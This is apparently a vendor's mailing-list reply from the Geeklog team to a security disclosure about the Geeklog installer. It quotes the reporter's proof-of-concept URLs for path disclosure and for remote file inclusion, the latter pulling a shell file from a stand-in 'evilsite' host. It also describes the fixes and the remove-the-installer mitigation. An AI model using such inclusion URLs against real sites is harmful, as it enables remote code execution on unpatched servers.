I have to admit that it does still work with the installer for Geeklog 1.6.0 (currently in beta). We will address that ASAP. >Path Disclosure: >http://www.website.tld/geeklog/public_html/admin/install/index.php? >mode='&dbconfig_path=' > >Remote File Inclusion: >http://www.website.tld/geeklog/public_html/admin/install/index.php? >mode='&dbconfig_path=http://www.evilsite.tld/shell.txt? These two have been fixed in the 1.6.0 installer. >-:: Solution ::- >I didn't bother to find one, sorry. A simple solution is to follow the installation instructions, which strongly recommend removing the install script after a successful install. There are also further checks and reminders about this built into Geeklog. >Disclosure Information: >- Vulnerabilities found and confirmed between 1st and 3rd June 2009. >- Published at InterN0T the 3rd June 2009. >- Bugtraq contacted the 3rd June 2009. A "Vender contacted" somewhere in between there would have been nice. We do take security very seriously and we do give proper credits. regards, Dirk Haun (for the Geeklog Team) -- http://www.geeklog.net/ http://www.geeklog.net/staticpages/index.php/GeeklogSecurity
